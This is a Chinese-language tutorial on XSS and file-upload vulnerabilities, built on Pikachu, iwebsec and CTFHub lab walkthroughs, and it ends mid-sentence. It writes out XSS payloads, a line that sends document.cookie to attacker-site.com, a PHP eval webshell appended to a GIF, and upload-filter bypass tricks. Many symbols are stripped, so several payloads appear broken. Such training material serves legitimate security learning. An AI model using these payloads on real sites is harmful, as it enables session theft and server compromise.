
做Web安全这几年我有个很深的体会XSS跨站脚本和文件上传漏洞这两个名字听起来一个比一个老但在实际渗透测试和高危漏洞排名里它俩从来就没掉过队。一个偏前端一个偏服务端看似八竿子打不着可真到了拿权限的关键路径上它们经常联手出现在从Web打到服务器的最后几步里。这篇文章不是给你念漏洞库里的定义而是把两条线揉在一起讲从XSS的三种类型反射型、存储型、DOM型到文件上传的各类校验绕过思路再落到皮卡丘靶场、iwebsec靶场、CTFHub这类CTF题目的实际通关过程。适合正在学Web安全的新手也适合准备面试或者打CTF的选手读完你能获得一套能直接拿去用的探测思路和绕过姿势。1. 内容整体设计与思路拆解为什么把XSS和文件上传放一起研究很多人在入门Web安全时习惯于一条漏洞类型一条漏洞类型地学比如先学SQL注入再学XSS然后文件上传。这种学习法本身没问题但它容易造成一个误区把每个漏洞当成了孤立的判断题看到输入点就想着测XSS看到上传点就只想着传木马缺少一个“串联”的视角。我之所以把这两个漏洞放进同一篇文章里讲是因为它们在真实攻击中经常构成一条完整链路同时在CTF靶场里也常常同时出现。1.1 两类漏洞在高危榜单中的真实地位先看数据逻辑。XSS在OWASP Top 10里长期占据一席之地它属于“注入类”问题但是危害却不像SQL注入那么“直给”。SQL注入直接打到数据库而XSS是在浏览器里执行脚本很多人因此低估它觉得“不就是弹个窗吗”可实际上存储型XSS可以变成窃取凭证、劫持会话、发起钓鱼的入口影响范围是所有访问受影响页面的用户。文件上传漏洞的高危程度就更不用说了如果上传点可以被绕过攻击者等于直接往服务器里扔了一个可执行的WebShell这已经不是“越权”或者“注入”的问题了而是服务器权限层面的沦陷。很多大型企业的外网打点都是从某个不起眼的头像上传功能突破的。1.2 一条链路上的两个环节在攻防演练里我见过很多次这样的配合先用XSS钓到管理员或后台用户的Cookie进入后台后再找到后台的文件上传功能绕过过滤传上去一个脚本文件最后通过这个文件拿到服务器权限。整个过程里XSS负责“进入内网”文件上传负责“站稳脚跟”。所以这篇文章的思路不是“各讲各的”而是以攻击链路为主线先搞清楚XSS能做什么、怎么做再搞明白文件上传为什么容易出问题、怎么突破最后把两者结合起来看防御方案。为了落地我选了三个靶场场景来串全文皮卡丘靶场的反射型XSS、iwebsec靶场的XSS通关、CTFHub的文件上传基础题目二。1.3 靶场选择和我做过的实验设计选靶场的时候我参考了最近社区里挺热的几个关键词皮卡丘靶场反射型xss复现、iwebsec靶场xss漏洞通关、ctfhub xss、文件上传漏洞基础题目二。这几个靶场有个共同特点都是开源的、可以本地部署的Web漏洞环境不需要担心法律风险特别适合拿来练手和复现。皮卡丘靶场里XSS的题型很全从基础反射到存储、DOM都有iwebsec的题目设置更接近真实业务场景CTFHub则把文件上传的出题思路浓缩在了几个基础题目里。我自己搭环境的时候是这么做的用Docker分别起这些靶场Windows本机直接浏览器访问Burp Suite挂在8080端口做代理遇到需要改包的操作就拦截后手工修改。整套环境10分钟就能搭完不需要什么高配机器。2. XSS跨站脚本原理拆解与三种类型实战对比XSS的核心原理用大白话说就是“没拦住脚本”。网站把用户输入的内容当成代码去解析了而不是当成纯文本去展示导致攻击者提交的脚本在别人的浏览器里跑了起来。理解XSS最关键的不是记payload而是理解“数据流控制流”这个问题。2.1 反射型、存储型、DOM型到底差在哪这三种类型我各用一句话来概括反射型脚本藏在URL参数里服务端把参数内容拼进页面HTML用户点击恶意链接后脚本被“反射”到浏览器执行。存储型脚本被写入服务端数据库下次任何用户访问该页面时脚本都会从数据库里被读出来执行。DOM型服务端没有参与拼接是前端JavaScript自己把URL参数或本地存储中的数据用innerHTML之类的方式写进了页面触发了脚本执行。很多人分不清反射型和DOM型我给个最简单的判断方法打开浏览器开发者工具看网络面板如果脚本出现在服务端返回的HTML响应体里那是反射型或存储型如果服务端返回的HTML里没有脚本内容但页面DOM里出现了那就是DOM型。2.2 反射型XSS从确认存在到利用Cookie拿皮卡丘靶场的反射型XSS题目为例那个页面有个输入框提交后会把内容回显在页面上。我第一步不急着弹窗而是先输入一个普通字符串比如test123然后看它在响应体的哪个位置出现。如果出现在input标签的value属性里我就知道payload该用什么闭合方式如果直接出现在div标签的文本位置那就可以考虑直接弹窗。确认是文本位置之后我尝试的基础payload是scriptalert(document.cookie)/script有些CTF靶场不会过滤尖括号这个payload就能直接弹窗。但真实项目里基本不会这么顺利常见的过滤手段是拦script标签、拦alert关键字、拦单双引号。这时候就要考虑事件属性例如当回显位置是input标签内时可以尝试 onfocusalert(document.cookie) autofocus这个payload的意思是先用双引号闭合掉value属性然后加一个onfocus事件autofocus让输入框自动聚焦从而自动触发事件。这一招在过滤了script标签的场景下非常好用。2.3 存储型XSS与DOM型XSS危害和判定存储型XSS我一般用留言板类功能来练。往留言框里放一个payload然后换个身份重新访问页面如果每次访问都弹窗说明脚本已经持久化存到了数据库。这个场景在iwebsec靶场里有个专门题目我提交的数据是个组合payloadimg srcx onerroralert(document.cookie)这里用img标签的onerror事件是因为它在常见的过滤规则里没那么显眼而且图片加载失败会自动触发不需要用户点击。DOM型XSS就没有那么“好测”了因为服务端完全没有参与。我在CTFHub的XSS题目里遇到过一个场景某个功能通过URL里的某个参数控制页面显示内容服务端返回的HTML里是正常的但是前端JavaScript会读参数并用字符串拼接的方式放入innerHTML。判断方法是我在URL的参数里放一段特殊字符串比如test123_bingo然后在开发者工具里搜索页面DOM如果能找到这个字符串说明前端确实操作了DOM接下来就要分析它用的到底是innerHTML还是textContent。如果代码用的是innerHTML那直接传HTML标签就能执行脚本如果是textContent传什么都会被当纯文本需要找别的路子。2.4 XSS利用链与危害分层关于XSS的危害我不喜欢单纯背结论更建议大家按“影响面”来理解。反射型XSS影响的是“点了恶意链接的那一个人”存储型XSS影响的是“所有访问该页面的用户”而DOM型XSS的影响则取决于前端逻辑的复杂度。在实际利用上最常见的是窃取Cookie。常规写法是向攻击者服务器发送一个请求把document.cookie带过去。这个请求可以用new Image()方式比如new Image().srchttp://attacker-site.com/c?cdocument.cookie这种方式相比直接写fetch或XMLHttpRequest有个好处它不受同源策略中CORS的限制而且写法很隐蔽。不过在真实环境中很多敏感Cookie会设置HttpOnly这时document.cookie是拿不到的攻击者就得转向配合CSRF或者钓鱼页面来搞事情。3. 文件上传漏洞从绕过到拿站的完整技术链文件上传漏洞的本质是“信任了不该信任的文件”。网站为了让用户能上传头像、附件、图片等内容开放了一个入口但这个入口如果没有做严格校验攻击者就能把一个包含恶意代码的文件传到服务器上并且设法让它以可执行脚本的方式被访问。3.1 上传点的校验机制与各自弱点一个功能完整的上传点通常会做四层校验前端JavaScript校验、服务端MIME类型校验、文件扩展名黑名单/白名单校验、文件内容头校验。问题就出在这几层校验都有可能被绕过。前端JavaScript校验是最弱的因为那只是给普通用户用的攻击者用Burp Suite改包或者直接把JS禁用就能把文件类型改成任意值。MIME类型的校验也不靠谱因为Content-Type字段是客户端自己声明的抓包改成image/png就能骗过去。文件内容头校验稍微有点含金量它会读取文件的前几个字节判断是不是图片但攻击者完全可以在一个合法图片末尾追加一段PHP代码做成“图片马”。扩展名校验是真正决定能否getshell的关键分黑名单和白名单两种情况。黑名单的意思是“不允许上传.php、.asp、.jsp这类扩展名”思路是枚举绕过白名单的意思是“只允许.jpg、.png这类图片扩展名”思路是配合解析漏洞或服务端配置来突破。3.2 黑名单绕过手法逐个拆解黑名单过滤是文件上传题目里最常见的一种。CTFHub的基础题目二考的就是这个当时我梳理过一份绕过清单大小写绕过把.php改成.Php或.pHp前提是服务器Linux大小写敏感且Web容器配置允许。前后加空格和点上传文件名写成.php.或.php Windows系统会自动去掉末尾的空格和点生成的文件仍然是.php。双重扩展名利用Apache的解析特性把文件命名为shell.php.jpgApache会从右往左找它认识的后缀如果中间某个后缀不认识就继续往左找最后可能当PHP解析。特殊字符绕过在扩展名中间插入换行符或回车有些过滤函数在匹配时没做trim导致校验失败但文件保存成功。双写绕过有些系统会把.php替换成空字符串比如p.phphp过滤后变成.php。.htaccess绕过如果上传目录允许覆盖配置先传一个.htaccess文件把.jpg类型映射成PHP解析再传图片马就能直接执行。这些手法看着多但它们都指向同一个关键点你必须先搞清楚过滤函数到底过滤了什么。我在做CTF题时一定会先测几个试探性文件名比如test.php、test.phP、test.php.jpg、test.pHp.jpg分别看响应报什么错再根据报错类型缩小范围。3.3 白名单校验与解析漏洞的组合利用白名单校验更严格一般只放行jpg、png、gif等图片扩展名。这时候如果要执行代码唯一的路子是让服务器把图片文件当脚本解析这就要依赖解析漏洞了。最经典的是Apache多后缀解析漏洞。Apache在解析文件时会从右往左找它能识别的扩展名比如shell.php.jpgApache会先识别jpg不认识就往左移识别到php就按PHP来解析。所以只要目标站是Apache环境把PHP代码合成进图片再上传然后通过某个路径访问这个文件就能触发代码执行。Nginx有个类似的问题如果配置了cgi.fix_pathinfo访问一个不存在的图片路径比如shell.jpg/.php时Nginx会把这个请求交给PHP处理PHP则会把前边的shell.jpg当作实际执行文件。这类场景主要出现在老版本配置里但面试和CTF里依然常考。iwebsec靶场里有个文件上传题目就是用Apache容器搭的我当时的解法是先用白名单校验传上去一个正常图片确认功能可用然后再传一个.php.jpg访问时果然以PHP执行了。这个套路放到真实环境里就是一句话白名单限制的是“上传的扩展名”但架不住服务器解析逻辑有缺陷。3.4 图片马制作与内容头校验文件内容头校验比较难绕过因为Java或PHP的很多框架会读取文件头部几个字节比如GIF89a才判断是不是图片。头校验可以通过构造图片马来对抗我经常用的命令是在Linux里cp shell.php shell.gif这个办法生成的gif文件头部数据可能是正常的还是有风险因为PHP文件本身不带GIF头所以不同场景下最稳妥的做法是把PHP代码追加到一张真图片后面。比如准备一张1px的gif图片然后执行echo ?php eval($_POST[x]);? 1.gif这样1.gif看起来是gif图片前几个字节是完全合法的GIF89a可以过内容头校验。然后配合.htaccess或者解析漏洞来让它执行。用010 Editor或者十六进制编辑器检查一下文件头确认前6个字节是GIF89a就说明拼接成功。4. 靶场实操反射型XSS复现与文件上传突破光说不练假把式这一节我把玩靶场的完整过程展开从环境搭建到最终拿到结果尽量还原每一步的细节。这一节内容参考了“皮卡丘靶场反射型xss复现”“iwebsec靶场xss漏洞通关”“ctfhub xss”“文件上传漏洞基础题目二”这几个高频场景。4.1 皮卡丘靶场反射型XSS复现过程皮卡丘靶场(Pikachu)部署好之后我进入XSS模块的反射型题目看到一个输入框。首步我用Burp Suite或者浏览器F12里的网络面板正常提交一个字符串观察请求和响应。提交test123后响应体对应位置直接出现了这段内容。然后我开始构造payload因为这个位置是直接插入在HTML标签之间的我就用一个最常用的验证脚本scriptalert(/xss/)/script提交后浏览器弹窗说明反射型XSS确认存在。接下来把alert(/xss/)换成alert(document.cookie)再重新触发一次。这一步不是为了耍帅而是为了验证是否真的能窃取会话Cookie。如果页面的Cookie没有设置HttpOnly这里就能直接看到会话ID。这里的实操心得是反射型XSS的利用必须让用户“主动点链接”所以如果你是在真实渗透里发现了反射型XSS别急着交报告先看这个XSS出现在URL的哪个参数里考虑能不能配合短链接、图片标签等方式诱导用户触发。靶场里就简单了自己把链接复制出来改一改就能当POC。4.2 iwebsec靶场XSS通关思路与绕过训练iwebsec的XSS题目相比皮卡丘多了一层过滤更像是实战环境。它有个特点过滤规则在不同关卡里是递增的第一关不拦任何东西第二关拦script标签第三关拦事件关键字第四关可能做了一些编码处理。我在第二关尝试直接传script标签发现标签被过滤替换了我改成大小写混写ScRiPtalert(1)/ScRiPt结果还是被拦说明过滤函数做过转小写处理。然后我改用了img标签的onerrorimg srcx onerroralert(document.cookie)这次成功弹窗了。这说明一个道理过滤规则再严总有想不到的属性组合。如果onerror被封还可以试onload、onfocus、onmouseover甚至svg标签的onload事件。iwebsec里还有一关是做了引号过滤的我传οnerrοralert(document.cookie)时发现单引号双引号都被转义了这时候payload就得改用反引号或者不使用引号的写法。例如把Cookie字段直接用document.cookie代替字符串不涉及引号问题img srcx onerroralert(document.cookie)这个payload本来就不带引号所以能绕过。但这种绕过属于“碰巧”实际情况中还是要根据过滤代码去构造没有万能payload。4.3 CTFHub文件上传基础题目二一次上传突破全过程CTFHub的文件上传基础题目二是专门练黑名单绕过的。进入题目后上传一个shell.php提示文件类型不允许。这里的“不允许”说明扩展名被过滤了。然后我按顺序测试其他扩展名改用shell.phtml提示还是不允许。再试shell.pHp提示内容变了变成了上传成功。这里有个重要细节pHp成功但php被拦说明后端用了黑名单并且没有对大小写做归一化。但是上传成功不等于能解析我访问上传后的文件路径发现它确实被解析成PHP了。这里我用的是Apache环境访问shell.pHp时服务器以PHP执行了然后我提交了一个请求POST shell.pHp xphpinfo();页面输出了phpinfo信息确认代码执行成功。后面就是写一个WebShell连接管理工具完成后续操作。整个过程中最关键的环节不是最后那段代码而是前面的扩展名枚举。我会一次性准备一个候选扩展名列表.php .phtml .pht .php3 .php4 .php5 .pHp .Php .asp .aspx .jsp .jspx .war .cgi .pl然后逐个尝试观察响应差异。这一招在CTF里屡试不爽因为很多过滤黑名单就是简单地写了几个常见后缀没考虑大小写和变种。4.4 宝塔部署场景下的XSS与上传绕过实战经验“宝塔xss绕过”是最近圈子里挺热的搜索词我猜大家遇到的是这类问题目标站点部署在宝塔面板环境默认的Nginx配置加上一些安全插件会过滤常见的XSS特征导致alert、script这些词传上去就被拦截。对付这种环境我的思路是先预判。找一个正常参数位提交一段纯文本看响应里过滤了什么。如果script和alert被空格替换或者直接删除那就考虑HTML标签事件配合编码。举个例子宝塔WAF一般会拦